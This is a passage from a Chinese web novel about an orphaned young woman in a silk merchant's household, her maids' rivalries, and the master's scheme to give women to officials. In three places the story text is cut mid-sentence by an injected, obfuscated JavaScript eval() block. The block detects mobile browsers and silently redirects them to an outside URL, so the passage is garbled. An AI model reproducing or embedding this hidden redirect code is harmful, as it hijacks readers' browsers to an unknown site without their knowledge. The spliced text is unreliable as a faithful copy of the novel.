一旁的婆子又去搜那苦荞和银婆子的身，果然搂出三四个袋儿，里头还有一对带珠的银戒子，也认不出是谁的，手快的就成它的新主。 “还是月娘留了心眼，不然我就要被蒙在鼓里了。”也不知苏梅章同吴霭云说了什么，当前她倒是真心要寻几个丫头，吴霭云握过江令月的手，心底也极满意田小莲，遂道，“这个主动举告的丫头我要了，剩下的，月娘再给我挑三个出来。” “至于银婆子……” 申妈妈这时站了出来，献了计，说是要银婆子免了丫头们的卖身钱，而那些没被选上的，她会另找人伢子收下，若是银婆子不依，那便只能押送官府了。 这下，苦荞和银婆子哪还敢吭声。 江令月也是听了坦白，才明晓苦荞的手是用药材泡黄的。 她自觉所知粗浅，对待接下来的选看便更加谨慎。 最后择定了四名丫鬟，两个十一二岁的先从外院的洒扫做起，两个十三四岁的跟着常妈妈在室内伺候苏母，其中田小莲是比较活泼的性子，她则另挑了个沉稳的。 澄黄的纸契在眼前被递入了常妈妈的手中，江令月忽然恍了恍神。 她讨了个恩准，许四个丫鬟自行选择是否由主家取名。 江令月现在的全名，是再三思虑下，去了父姓，改了母姓的，但她依旧感激苏母给了机会，能够让她保留下来。毕竟承载着至亲的祈盼，是她难得的、可以借由悼念他们的存在。 她对丫鬟们不全是带着相似的期望，只是觉得，要跟自己一辈子的东西，应该慎重考虑。 两个小的想要新名，苏母即刻分别取了莺儿和蓉儿。 对此，江令月并不纠结，转而问向稳重性子的胡来娣：“你呢？” 胡来娣早就不想要自己的原名，心底有主意，也不管这是不是什么考验，道：“奴婢想给自己重新取名，叫望溪。” “才望高雅，斩岸堙溪。望有希望、名望的含义，溪则有做事勤恳、心思细腻的寓意。”江令月主动道，“这是个好名字，朝气蓬勃的，老太太觉得如何？” “听你一说，也觉不错，左不过是个名儿，就用它罢。”吴霭云同意了。 望溪难掩诧异，与江令月含笑的眉眼撞上，几息才反应过来给老太太谢恩。 原来姑娘没有在胡谝人。 只剩下田小莲。她搞不懂里面的弯弯绕绕，但是瞧见望溪在苏母和江令月出了好大一个风头，有心效仿，但奈何没读过多少书，起不来什么像样的名字，只得退而求其次道：“老太太日后唤奴婢小莲就好，莲花莲花，纯洁富贵，老太太叫着也简单。” “哈哈，这丫头，好，小莲这名儿非你莫属。” 见吴霭云露了笑，小莲自得地睨了眼望溪，心想：我日后可要做老太太身边最得宠的丫头。 8. 第八章 话休絮烦。自梧桐苑新进了四个丫鬟之后，日渐热闹，干的活计快了许多，苏母脸上也多挂着笑意，其中因小莲嘴甜，苏母也最为喜爱她。 常言道：“饱暖思□□”，小莲得了宠，又有好衣好食的滋润，便思量起更进一步的富贵。 今日得闲，苏梅章带上江令月，一同去梧桐苑陪老太太用午膳，想着近来闲话少叙，又提早了几刻钟。 “相公、姑娘来了！”小莲提醒吴霭云道。 “章儿来了。”苏母嗔怪道，“你不来，我知道你忙，只是月娘怎么来得也不勤了？” 这话说得也不全然冤枉了江令月。她起初是照旧来给吴霭云请安的，只是常见小莲捧着绣物向苏母讨教，江令月虽插不进几句话，但由衷地松了口气，也有为小莲较快适应新生活而感到欣喜，念着不打搅主仆二人培养情谊，遂来得少了。 只是老太太显然还记挂着她，江令月便不好替自己辩解。 苏梅章解围道：“是儿的不对，儿把月娘要了去，跟在身边伺候。” “别是哄我，教我发现，饶不了你们俩。”吴霭云轻掐了苏梅章手背的肉，不欲再追究，吩咐小莲道，“让望溪沏了绵州松岭端上来，这是章儿爱喝的，月娘爱喝方山露芽，我没记错罢？” “老太太记性好，谢老太太还惦记着我。”江令月弯低身子道。 小莲应诺，转身前睄了眼苏梅章，见他一身湖蓝暗纹?袍，腰系缠枝牡丹暗花带，好不倜傥风流。将要收回目光时，又瞥到江令月穿件豆绿绣串枝莲衫，系条白绫裙，头簪茉莉花，色如月华，眼中不免露出了歆羡。 她咬着指甲，快步走向茶水间，思索着该怎么从望溪手里抢过上茶的活儿。因望溪静得下心，泡茶手艺也比她强许多，加之茶水沸热，常妈妈是不让她碰茶盏的。 “老太太方才交代我怎么泡绵州松岭，你去泡方山露芽，我们俩一齐动作快些。”小莲伸手想取过茶罐，却被望溪拦了下，脸色变了变，“你敢不听老太太的话？” 望溪不怵她，直接道破：“我们俩的活，常妈妈一开始就分好了，你现在争着我那份，是要给谁献殷勤，你心里清楚。” 小莲被挑了皮，恼羞成怒道：“你自己不敢上位，凭什么阻拦我！难不成真着了姑娘的道，还要为了她放弃青云路，姑娘知道你这么忠心吗？” 望溪也来了气，说话不留情：“姑娘就是我的恩人，要不是姑娘选中了我，我还不一定能像在苏家这般，睡上暖和的床褥，穿上得体的衣服，吃着有油水的饭菜。况且相公与姑娘情分那么深，非是一朝一夕不能培养出来，你不过一个外人，如何比得上？别癞蛤蟆想吃天鹅肉！” 小莲有心驳斥她，暗道她可是老太太瞧上的，但听完后半截话，气焰又消了大半，满心不甘地走到一旁生闷气，心底到底不服，只觉再欢喜的人，日日相对也得厌，她未必没有机会。 望溪不理睬她，自顾手上的工夫，投茶、冲茶、刮末……眼见三杯茶都放在托盘上，小莲遽然舀起一勺滚水，往望溪身侧浇去！ 趁着对方躲避的间隙，小莲端起盘就往外走，望溪刚站稳脚，想追上去，又觉得闹到老太太和相公面前吃不了好，只得咬牙停了脚。 小莲暗自得意地来到前厅，依次上茶，江令月排在最后，只见小莲似是腿脚不稳，连同茶水，作势要往苏梅章身上倒。 苏梅章动作迅疾，一把抓住小莲的手腕甩开，茶盏登时碎了一地，茶水迸溅，淋湿江令月的鞋尖，她瑟缩了回去，将伸到半道的手放在吴霭云背上，轻轻安抚。 江令月不敢出声，观那苏梅章脸上神情，如同风雨欲来，与半刻钟前的温润浅笑，反差极大。 而那倒在地上的小莲，见苏梅章脸色一沉，也是心惊肉跳，但不肯退缩，心想机不可失，索性豁了出去，磕头道：“还请相公原谅，奴婢愿侍奉相公在侧！” 知子莫若母，吴霭云知晓苏梅章不喜超出掌控的人或事，小莲这一出，相当于骑脸胁迫！ 只是她还有用。 “常妈妈！”苏母急急喊了心腹来，把小莲带了下去，出面保了她，又想起江令月还在此，道，“月娘先回去罢。” 江令月不多问，听令退下。 她回到厢房，在自己屋里用了午膳，只是也有些走神——怪只怪苏梅章平时将消极的情绪掩藏得太好，如方才那般，过于罕见，但只要看到了，就忘不掉。 她仿佛在苏梅章的面庞上，窥见了一丝丝皴裂，轻微的，却又无法忽视，像瓷器的釉面剥落，似乎只需要她再用力些，就能让皮下埋藏着的东西完全显露出来。 她不禁生出自己是否从未看清过他的想法，这种陌生的认知，令她比起注意到有女子在苏梅章面前自荐枕席，反而更加担心小莲受到严惩。 思及巧珠乃常妈妈的腹女，江令月托她回去打听打听。 * 小莲哭哭啼啼地随常妈妈进了她的小房。 因自己有个年纪相近的姐儿，平日又得小莲妈妈长妈妈短地叫，偶尔还被伺候着洗脚，此刻常妈妈确有几分心疼，耐着性子劝她。 望溪听着动静，端了盆温水来，让小莲擦脸，可对方只觉没脸，哭得更厉害：“她来看我笑话，我呜呜，我不要见到她！” 常妈妈欲言又止，还是教望溪先出去。 望溪面上倒没什么怨怼，将门关上，只扮作走远，又悄悄来到侧窗听了起来。 室内，母子俩也在私语。 吴霭云劝起苏梅章：“小莲如今是最适合顶替月娘的人，她有往上爬的心是好事。这代表她乐意去更好的人家，必也会对苏家的栽培感恩，到时候总会抓住一切机会，博取官人欢心。 反正她也住不长久，你别与她计较。” “娘说得对，是儿失态了。”苏梅章低头认错道。 吴霭云听此，叹了口气，怅然道：“也不知是不是你爹的死，给你打击太大，如今为了发展家中生意，还要把月娘送出去。”靠皮肉维系的关系能得几时好？何况苏家是卖正经绸缎的。 苏梅章不以为然：“不是儿非要送走月娘，是那些人需要月娘这样的女子。” 世上最稳固的的关系，就是因利益而扭结在一起的，而利益无非是钱、权、色。 若对方只图钱，他自然可以用钱买入扩大生意的畅通券，可总有一些人，守着君子操守，满口黎民苍生，不肯收下阿堵物，却能在面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791887|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对心动的女人时，开始自我劝服——对方是需要拯救的，收受佳人被自我催眠为英雄救美。 “你不会后悔吗？手上攥着这么多权势又想做什么？”吴霭云忍不住追问道。她对现在的生活已经很满意了，有衣暖身，有饭饱肚，母子团聚在一起，比什么都好。 苏梅章沉默片刻，眼中蒙上一层阴翳，明光透过窗格，似乎仅映射出他灰眸里的寒意，只听他一字一句道：“娘，如果当初是你面对贼匪，亲眼看着官兵逃走，甩下手无寸铁的百姓，又是你亲眼看着爹被乱刀砍死，但为了活下去，不得不挨着尸体装死，即使脚被踩断也要硬生生忍着疼，你还能像现在这样，只享受了一点好日子，就觉得心满意足了吗？” “你甘心吗？” “我不甘心。”小莲眼眶红红，向常妈妈说了自己的心里话。 她跟着娘改嫁到继父家，继父也有个女儿，是她继姐。 娘作为后妈，担心遭人闲话，所以对继姐很好，又因继姐是个温吞性子，娘总是私下叮嘱她，不要表现得太机灵，针线活也不要做得太好。 她被拐走卖掉的前一日，恰好是娘的生辰，分明是她送出的香囊，绣得比继姐的更好看，可娘只夸了继姐，就连家里难得吃上的鸡，都撕了一根鸡腿给了继姐。 那只鸡原本还是她亲手抓来和拔毛洗净的。 以前在家她争也没有用，但是现在离了乡下，还入了苏家，争一争的念头便在她脑中挥散不去。 “可我这回惹恼了相公，以后怕是只能当个丫鬟了。” 常妈妈倒是没有笑话她痴心妄想，再得主子看重的奴仆，也不过是个贱籍，也有受委屈的时候，若是能赎身为良，或者翻身为主，那才扬眉吐气。 眼见小莲扑到怀中哭得愈发厉害，她犹豫了会儿。 扒在窗外的望溪只见常妈妈低下头去，也不知说了什么，小莲蓦地止了哭。 常妈妈瞧她还有些抽噎，但一张鹅蛋脸，生得小家碧玉，哭了这么会儿，眼鼻红红的，只觉像梨花带雨，口中不由亲昵道：“我的心肝儿啊，你别瞧相公芝兰玉树的，就是温文尔雅的性子，一颗芳心挂了上去，其实他心中极有主意，铁石心肠得很。 曾经他的奶姐姐，想与他成好事，故意在水里下了酒，只是出了茬，教他发现了，执意要赶出苏家，便是老太太想保下他奶姐姐，也半点不松口，可怜花一样的小娘子，再没好名声嫁人。” 小莲撇了撇嘴，没出声，心底想的却是：这奶姐姐忒笨，有这么个身份都不能拿下相公，如果换成她来，肯定不会如此。 见此，常妈妈只以为她是还不死心，再把话说得透亮点：“你想出人头地，也不一定得靠相公，只要你尽心伺候好老太太，将来总有机会的。” 小莲眼睛一亮，接着追问她，可常妈妈此时变得像锯嘴葫芦，怎么也不肯说了。 望溪在窗外皱起眉头，又见话听得差不多，存了几分警惕，赶紧回了屋，甫一拢上门，就有一人影过去。她悄悄开了窗缝望去，是巧珠径直入了常妈妈那处。 对于梧桐苑发生了什么，江令月都不晓得，只听巧珠回来说小莲无事后，她也暂且放下心，转过头操心起玉环的事。 9. 第九章 考虑到巧珠与常妈妈母女情深，那玉环江令月也不敢教她拿去外边修补，恐露了事，遂自己偷偷捻了米粒，把玉环暂时黏了起来。 到最后香囊和荷包都绣制完成，还是没有法子，江令月只得忐忑地给自己系上，结果由于苏梅章忙着肆筵设席，一连几日，竟也没发现她的香囊上少了枚玉坠子。 江令月自然松了口气，但心里却有股道不明的情绪在作祟：似是不满他的忽视，可随即又觉得自己要求太高，吃穿用度皆仰赖于他，又有何立场指摘这点小错？ 而那日亲自参与丫鬟的挑选一事，短暂得如同昙花一现，眼下她又只能专注于飞针走线。 不知是心情郁躁，还是天气闷热，江令月绣图时，扎到指腹好几次，眼眶里霎时盈起了泪花。 巧珠瞧见了心疼，趁着处理伤口的时机，提议道：“园子里引了几头锦鲤，听说在阳光下，那鳞色像鲛珠一样梦幻，姑娘不妨去看看？” 江令月生了点好奇，左右也无他事烦扰，遂应允前往。 翠湖中有一小亭，飞檐翘角，碧瓦朱栏，可作休憩之处，也可作观赏之用。 四下幽静，湖面粼粼，微风不燥，江令月嗅淡雅荷香，看绿意盎然，听鸟语花香，心中杂思也仿佛被这幅潋滟水墨图洗涤干净。 她倚阑而坐，撒下鱼食，便见一群赤壁红白簇拥而上，毫不犹豫地吞食，另有几尾金色锦鲤，游弋鱼群的外围，有顷，才张开鱼唇，吸入顺着水面飘过来的残渣。 新鱼和旧鱼的区别，不用特意指认，她就能分辨出来。 江令月垂眸凝望，有些痴了。 其实她的绣活并不好，后来不得不精练起自己的技艺，概因苏母。 吴霭云初时骤然失明，便格外依赖其他四感，而触觉尤为令她信服。在很长一段时间里，她就是用从头到脚地抚摸苏梅章的法子，来确定他的康健。 有一回，苏梅章将江令月送的表明心迹的荷包系在腰间，吴霭云摸到了，当即评定它的针脚、花样、面料等等，全都是上不了台面的。 她的语气甚至很平和，但江令月当下只觉好像被无形的巴掌搧过，面颊通红。难过、焦虑、羞惭，隐约还有点怏怏，她陷入到一个漩涡中，里面充斥着否定的指责，使她头昏脑胀，以致接下来说的话、做的事，她都记不太清楚了。 等她缓过神之后，便开始夜以继日地扑在针黹上，陆续给苏梅章做过鞋袜、衣物，也给苏母送了锦带、坐垫。 江令月从吴霭云的口中得到愈来愈多的夸赞，似乎也慢慢放下对往日的介怀。 可她本来就是不喜欢做绣活的。不喜欢针会把自己的手扎出血，不喜欢耐性子将一根根丝线缂得很细，不喜欢好几个时辰低头对着绣图熬红眼睛。 巧珠端了瓜果来，就见江令月捻着鱼食，迟迟不撒，只怔怔望着水面不说话。 她走上前，朝那翠湖看去，水草漫长，纵横交错，竟一眼窥不到底，平日她爱听些神鬼秘闻，此刻生了忧惧，害怕姑娘的魂被吸走，赶紧摇了摇女子，唤道：“姑娘！” 江令月缓缓回神，眼眸落到巧珠的脸上，面色如常道：“怎么了？” “姑娘吓了我一跳。”巧珠拍了拍胸脯，心想青天白日的，也别乱说话，只问道，“姑娘是遇到什么烦心事了么？我瞧姑娘最近心情总不多好。” 江令月无意说出心中烦思，借口道：“是这天热，人也跟着蔫蔫的了。” 巧珠不大信，却也未多问，兴许是不为外人所知的情思呢？她只盼来些什么事，能教姑娘忙起来，也能借此理清头绪，精神不那么萎靡。 好在七月渐渐走到了中旬，蝉鸣犹更恼人。往年到了这个时候，苏家的所有仆役都会被发动起来去黏蝉，又兼今年宅中迎了不少宾客入住，这事亟待上手。 江令月也找到了能帮得上的地方——她虽不用出力，但按照惯例，会掏出自己攒的碎银，让厨房煮点甜水，分发给大家解渴。今日绿豆薄荷汤，明日薏米糙仁水，都是常见、平价的食材，却会变着花样来。 忆起赵娘子的肺腑之言，这回江令月挑了几件足银首饰，充当钱币使。从前她都将苏梅章赏的物什视作他物，轻易不动用。 抓蝉属于额外的活计，申妈妈都是掐好了量，既不会让人闲着，又不会累得人直喘，只是工钱不多涨，江令月此举正是安抚下人的好事，但难免仍有不乐意的。 这日该轮到望溪和小莲。 自在常妈妈那吃了定心丸后，小莲眄着望溪时，就没那么心气不顺。眼下见望溪又是扎裤脚，又是擦清凉膏，她微仰下颌，想着大人不记小人过，主动递了个台阶：“你要是求求我，我可以帮你到常妈妈那儿求情，找人替你，活不用干，工钱还照拿。” “不必。”望溪直接拒绝。 小莲不满，不依不挠地，一连猜了好几个她会顾忌的方面：“你怕被发现？还是不信我？又或者你做不来这种事？” “我们没必要非得处好关系，上次的事我都记着，差点就烫伤了。”望溪不耐烦道。 “我那是作势吓你的，谁知道你就上当了！”小莲拉不下脸道歉，气愤道，“你这么上赶着去，是不是为了那仨瓜俩枣的甜水去的？” 她们虽然伺候的是苏家的老太太，有时候能蹭到主子的边嘴料，但苏母胃不好，入了暑也尝不得凉物，所以梧桐苑的婆子丫鬟们要是想吃点消热的，除了有别人的孝敬，便只能使钱去找厨房做。 小莲越想越觉得没差，咄咄道：“不过一点小恩小惠，你就心甘情愿地当牛做马了？你去看看外面的日头，能教人晒成干！” 望溪本想一走了之，可听到她攀扯上姑娘，脸欻地冷了下来：“黏蝉是大家伙儿都要做，有句话叫‘论迹不论心’，姑娘出了钱，我们得了好，总是不亏的，况且你没必要因为相公瞧你不上，就把气往姑娘那处撒，她又不欠你。” 说罢，也不管小莲什么神情，就离了这地。 被撇在房里的小莲，狠狠剁了几脚，教她说中一半的心思，又是没了底气反驳，好半晌才赶到门边，自语道：“你不是说你没上过学吗？怎么‘论……论……’这种话都说得出了？！”可见平日都是骗她的！ 她还没踏出门槛，整个身子站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791888|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里头，忽而一股热浪朝面颊扑来，立马躲了回去，咬着下唇，心道：等着罢！你迟早要后悔拒绝了我！ …… 临近午时，江令月从梧桐苑出来，穿过小径，经过花园，但见一小厮正探着头瞄来瞄去。他盯住的地方，接前院，连后院，若是想偷懒，就得提防申妈妈从那儿突兀出现。 江令月走的是另一个方向，及至离得近了，阿寿才从眼尾注意到个人影，没敢细看，登时甩开了木棍，跪在地上。 “怎么了？”江令月不明就里，“你先起来罢。” 阿寿听声儿认出是姑娘，懊恼自己怎么那么胆小，差点坏了事，又想江令月脾气好，便打算胡诌几句，蒙混过去。 不料江令月看到他身后的饲料桶，问道：“你是喂错了鱼食？”猜想小厮是来求情的。 阿寿额头直冒汗，巧珠在旁一瞧，顿觉他是偷懒了被发现而心虚，呵斥道：“你叫什么名儿？在哪个院子做活？见了姑娘不问好，还支支吾吾的，是不是偷藏了东西，怕人发现了？” 偷东西这罪名可不小！不论价值几何，都得打完板子再扔出苏家！ 阿寿只简单衡量一下，便软了膝盖，和盘托出：“小的叫阿寿，平日在花园里做工，今儿只是替梧桐苑的小莲来黏蝉，不是偷了东西！” 在他言语的间隙，一个掩在假山后的小丫鬟悄然离开。 “小的也只黏了几刻钟，还请、还请姑娘别告诉申妈妈！”阿寿求饶道。申妈妈对事不对人，最是严厉，若让她知道，有人在她的眼皮子底下暗度陈仓，起码三个月的月钱没了。 江令月听罢，蹙了蹙眉。这事儿他理亏，且自己也没有管事权…… “姑娘！他晕了？！”巧珠诧道。 还未等江令月说上几句，但见那小厮昏了过去，竟一头栽倒在地上。 “什么？！”那厢的小莲惊坐起来，身上挂着的瓜子壳扑簌往下掉，手里刚啃的果子也滚了一地。 小丫鬟是莺儿，见状心疼了下裹了灰的果子，继续催道：“是真的，当时我就在附近，没来得及提醒，阿寿就被姑娘抓住了！” 小莲这会子终于有种大难临头的慌乱，概因她起先在望溪面前也只是吹牛皮，找了人顶替不假，但与常妈妈没什么干系。转念又想到江令月，知晓她是个软性子，或许求一求还能压下此事……顿然放了半颗心。 她从柜子里拿了三四颗脆李，塞给莺儿，急切道：“你可知有近道抄去那儿？待会回来，我把剩下的李子都给你。” 莺儿兜了两手：“跟我来。”带着小莲赶在申妈妈来之前到了。 小莲看也不看倒下的阿寿，垂着头向江令月行了个礼，来前想得很好，但人在面前又求不出口，只眼睛四处乱瞟，要找出黏蝉的杆子，等申妈妈来的时候也能摆出个样子。 巧珠见状，本来还对阿寿的话有几分不信，如今也看出点关窍，念及娘看重小莲，好心上前，压低声提醒道：“姑娘还站在这儿，你向她解释一番，待会申妈妈来了，姑娘也好替你说个情啊。” 江令月在一旁默不作声，心下也有评判。 10. 第十章 事情应与小厮说得差不离，往大了讲，小莲是与前院小厮勾结，蒙蔽主子，往小了讲，是偷奸耍滑，怠忽职守。 但无论何种，小莲乃苏母选中，随侍身旁的丫鬟，她既没有训斥的资格，又没有多大分量能影响处罚的力度。 况且在她看来，小厮和小莲皆有错在先，主动承认才是可以酌情减罚的前提。除非……小莲找人顶替是另有内情，这样她就有话劝出口了。 江令月想问清实情，免得小莲被冤枉，跟在巧珠后边说：“为何会找人替你黏蝉？” 小莲本就不愿在她面前低头，又被巧珠一通明里暗里地摁着认错，再有江令月的问话，突然火气上来，讽道：“姑娘有相公心疼，不必操持内务，如今就别掺和进来，当个判官。” 江令月错愕不已，在她的印象中，是没有与小莲交恶的。 “你说什么呢？！”巧珠不知她哪来的脾气冲着姑娘撒，急得不行，“快向姑娘赔不是！待会申妈妈赶到，仔细你的皮！” 不说则已，一说则灵。申妈妈恰在此刻出现，身后还跟着一拿瓢的婆子，见到晕倒的阿寿，直接泼了上去，是冰凉的井水，当即人的眼珠就转了起来。 因江令月算半个主子，又有下人通风报信，故而申妈妈的眼睛落在小莲身上，呵斥道：“自己惹祸不够，还把姑娘攀扯进来，赶紧向姑娘赔罪，否则一并算罚！” 这是堵住她替人求情的口了。江令月虽有心帮一帮，但也不是老好人，被推了两回，想来当事人都不在乎后果，她自然不会自讨没趣。 小莲这头更是排斥。在她眼中，当前的巧珠和申妈妈，与她亲娘没什么分别，都在逼迫自己向不服气的人道歉。 有一瞬，姑娘生成了继姐的样子，小莲口不择言道：“凭什么我要道歉？姑娘和我一样，不都是要被送给——” “小莲！”申妈妈大喝。 小莲唬了一跳，顺势朝她望去，只见她的面色严厉又可怖，遽然一股冷气蹿上脊背。 姑娘又痴了。 巧珠眼睁睁看着姑娘回来之后，独自坐到了黄昏，心底五味杂陈，怕她问到自己，又怕她一直这么失魂落魄下去。 江令月此刻心绪繁乱，脑袋嗡嗡，只反复想着小莲那被抢断之语。她惊觉找不出第二种解释，在质疑过是否可信，且暂时找不到回应后，她在意的是：为什么要把她送人？ 既然是要送走她，定也不是送回原籍，与爹娘团聚，毕竟她早是孤女。可她以为，自己与苏梅章、老太太都建有了不小的羁绊，日后即便是老去，也会在苏家待一辈子。 江令月的胸口仿佛压上一块大石，沉重憋闷，忽而涌起烦躁，好一会儿才觉出隐有愠怒，是许久不曾有过的情绪。 粉彩天球瓶、影青莲花盏、定窑白釉碟、双凤白玉簪……江令月数着易碎的物什，脑中好似也闪过它们碎了一地的样子，但到底被理智拉住了手脚。 她一会儿想着，是自己奢望了，爹娘走了，哪还有可以依靠的家，一会儿又想着，自己何必那么清醒，做个随波逐流的浮萍，还能知足常乐，欢愉自洽。 反而在这胡思乱想中，找回了冷静。 日影西斜，金光溶溶，落在倚窗女子的身上，好似拢了件温软的霞衣。一只翠鸟忽而飞了过来，抓在支杆上，斜歪着脑袋，仿佛是被这熠熠辉光迷了眼。 江令月目含笑意，张开手，它便大胆地蹦了上去，踩了几脚，又啄了一口，而后倏地扇翅飞远了。 她朝翠鸟的背影望去，刹那茅塞顿开：凡事需亲自证实，好过做个糊涂鬼。 若是…… “巧珠，劳你去前院，请相公散宴后来一趟。”江令月暂且没有再想下去。 只是开口就教巧珠为难了。 她估摸出姑娘想问什么，也绝对不会听到真话，但现下还是硬着头皮去寻人了。 巧珠本以为将话带给承安就好，不想被引了进去，在书房见到坐于案后的苏梅章。 他今日穿戴得贵气，巧珠却不敢多看，但这与衣着没干系，她向来对相公抱有些惧意。 “她回去后是何表现？”苏梅章平静道。 巧珠晓得这问的是姑娘，遂一五一十告知。 苏梅章听完，神情无多大变化：“你只回去告诉她，我会去的，其余的不要多说。” 巧珠领了令退下。 苏梅章静默了会儿，朝后仰靠在椅背，左手支起来，摁着眉心，深吸了口气，满腔沉香。 他有些累。 连日忙碌的身体似乎在今日找到了宣泄的缺口，头隐约胀痛。 午间他乍听到意外的消息时，骤然升起的，是对于小莲近乎完全道破他隐瞒多年擘画的恼怒，大脑有片刻空白，过后却体会到了久违的松快。 但他向来不敢懈怠，继而升起了对江令月的审判。原来他便常在旁侧观察她细微的神情和小动作，去猜测她心中所思，于是那时冒出个念头，想知道她是快刀斩乱麻，与他切割掉往日的情分，还是有所留恋，选择给他一次解释的机会。 所以他没有立刻作出任何回应。 适才巧珠前来，苏梅章虽不清楚过去后会面对一张冷脸，或是泪容，但起码在态度上，江令月对他是留有余地的。他辨不明自己是什么心情，大概有些失望，兴许江令月应该如其父般果决，又胜于蓝，斩钉截铁地进行反抗，才符合他的预想。 可转念一想，又觉得自己犯糊涂了。夏叔懋是他花了多少心思才拉拢过来的俊才，如今也只差一步，就能彻底将两家捆绑起来，江令月若在此时闹出麻烦，那才是令他头疼不已。 苏梅章眉头微皱，显露出一丝厌烦和不耐。眼下他须得编出个不那么离谱的理由，暂时哄骗过女子。 “相公。”承安在外叩门。 苏梅章直起身，摆好仪态：“进来。” “相公，是好消息，史大官人临时差人来告，会来咱家的筵席。”承安禀报道。 史大官人虽一朝遭贬，但只看他被贬到江南这种好地方，日后定是要重新启任的，况且他表侄女可是当今最近的新宠。 在旁人观望之际，苏梅章便数次派人接触，总算不是白费功夫。 “将小莲好生打扮一番，今晚史大官人身边缺个贴心人。”他道。 承安明白这是要给史大官人送礼了，只是略感疑惑道：“小莲样貌是不差，可史大官人在怀都见过不少美人，能看上她吗？” 苏梅章闻言，微眯眼眸，盯了他一会儿，突然抓起毫笔扔了过去。 承安兜头接了这以硬竹雕刻的笔管，前额登时破了皮，渗出血珠，他顾不得伤口，即时想通关窍，告罪道：“是小的愚笨！史大官人已到知命之年，美人只要正当青春，便胜过一切。” 苏梅章未出声，任由承安煎熬了半晌，才开口道：“你下去记得上药。这个月你辛苦了，月钱会额外给你提一提。” 承安诚惶诚恐道：“谢相公。那、小的这就吩咐妈妈们去给小莲梳洗打扮了？” 眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791889|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见苏梅章颔首，心下一安，暗想相公应不是要把他换掉，躬着腰退到门槛处，才敢转身，匆匆传令去了。 * 红霞漫散，掩映夕阳，落日即将没尽时，一道人影借着天色摸入了柴房。 小莲被扔到这儿几个时辰了。 虽然还不到饥渴交迫的境地，但是未知所带来的后悔和惶恐，正如同缓慢坠落在面皮上的水滴，连续不断地，摧毁着她原本尚存侥幸的心态。 四周愈来愈黑，很快她会连自己的五指都看不清了。 倏忽一阵响动，只见柴堆后腾地出了个活人，细瞧模样，竟是望溪！ 望溪盯着小莲，先说了话：“我给你解绳，你别出声。” 小莲连连点头，待麻绳松开，赶紧抽出口中的脏布，想呸两声，却记着要求，看了望溪两眼，确定这不是梦，立马死死地用手捂住嘴，就怕激动地喊了出来。 望溪朝身上抹了抹手，又拿出两个大馒头，递给她，压着气音道：“都给你，撑着。” 小莲见状，嘴一瘪，眼眶一红，眼泪像决堤的河水，哗哗外涌，扑了上去，细声道：“没想到是你来……要是我能出去，我再不会像以前那样对你了。”她也不傻，待会肯定是不能跟着望溪爬洞逃出去，她不想连累望溪，只能留在这继续等着主子的决定。 望溪由着她哭了会儿，掐在小莲喘气的空隙，问道：“你为什么不喜欢姑娘？”听说她这回犯事，原因之一就是对江令月不敬。 小莲吸了口气，委屈道：“现在是我遭罪，不是姑娘遭罪，怎么到现在你还想着姑娘？”乡下老话好像管这叫吃锅碗盆。 望溪举起两只手，把馒头怼到她眼前，说：“我给你带了两个，一个换你一个回答，不能撒谎，这样可以罢？我脸上没写‘好人’二字，现在也不是大发了善心来见你的。” 白面馒头还是热乎乎的，那麦子的香气直钻入小莲的鼻子，惹得肚子咕咕叫了起来。 她立马拿过一个，几口吃进嘴，嚼干净了，才扭捏道：“我家中有个继姐，娘总是偏疼她，所以——” “所以你嫉妒继姐，见到姑娘，觉得她既有老太太喜爱，又有相公的偏爱，也把她嫉妒上了。”望溪明悟，接上她的话。看来罚得不冤。 听此，小莲脸皮猛得涨红，却没有反驳：“我知道错了。” 被关在这里，静悄悄的，她也想通了些事儿，譬如娘的偏心，她最不该憎怨的是无辜的继姐，更不消说，继姐每每还会推辞娘的优待，而对姑娘的迁怒，实在是蛮不讲理。 下一刻，望溪继续往小莲嘴里塞着馒头，道：“快吃，还有一个问题。” 小莲猝不及防，想让她停下，却被眼疾手快的望溪堵住了口，只得嚼快点，全吃下去。 差点噎住，但小莲可没生恼。她知道，望溪瞧着冷言冷语，其实是怕她饿着，对她的关心能从这喂饭的急切上看出来。 眼见小莲情绪逐渐稳定，还挽着她坐，应是最信赖她的时候，望溪终于问出此番来的目的：“那日常妈妈在你耳边说了什么？” 她午后被常妈妈找上，话里话外是要她多做些活，日后顶了小莲的位置，便估摸着小莲是要被调离梧桐苑； 又想起常妈妈附到小莲耳边说的话，也不知是不是她的错觉，似乎听到了与姑娘名字相近的音儿，而依小莲的性子，日后再见恐怕扭脸就走，于是怎么也得跑这一趟，解个疑，顺道全了共事过的情分。 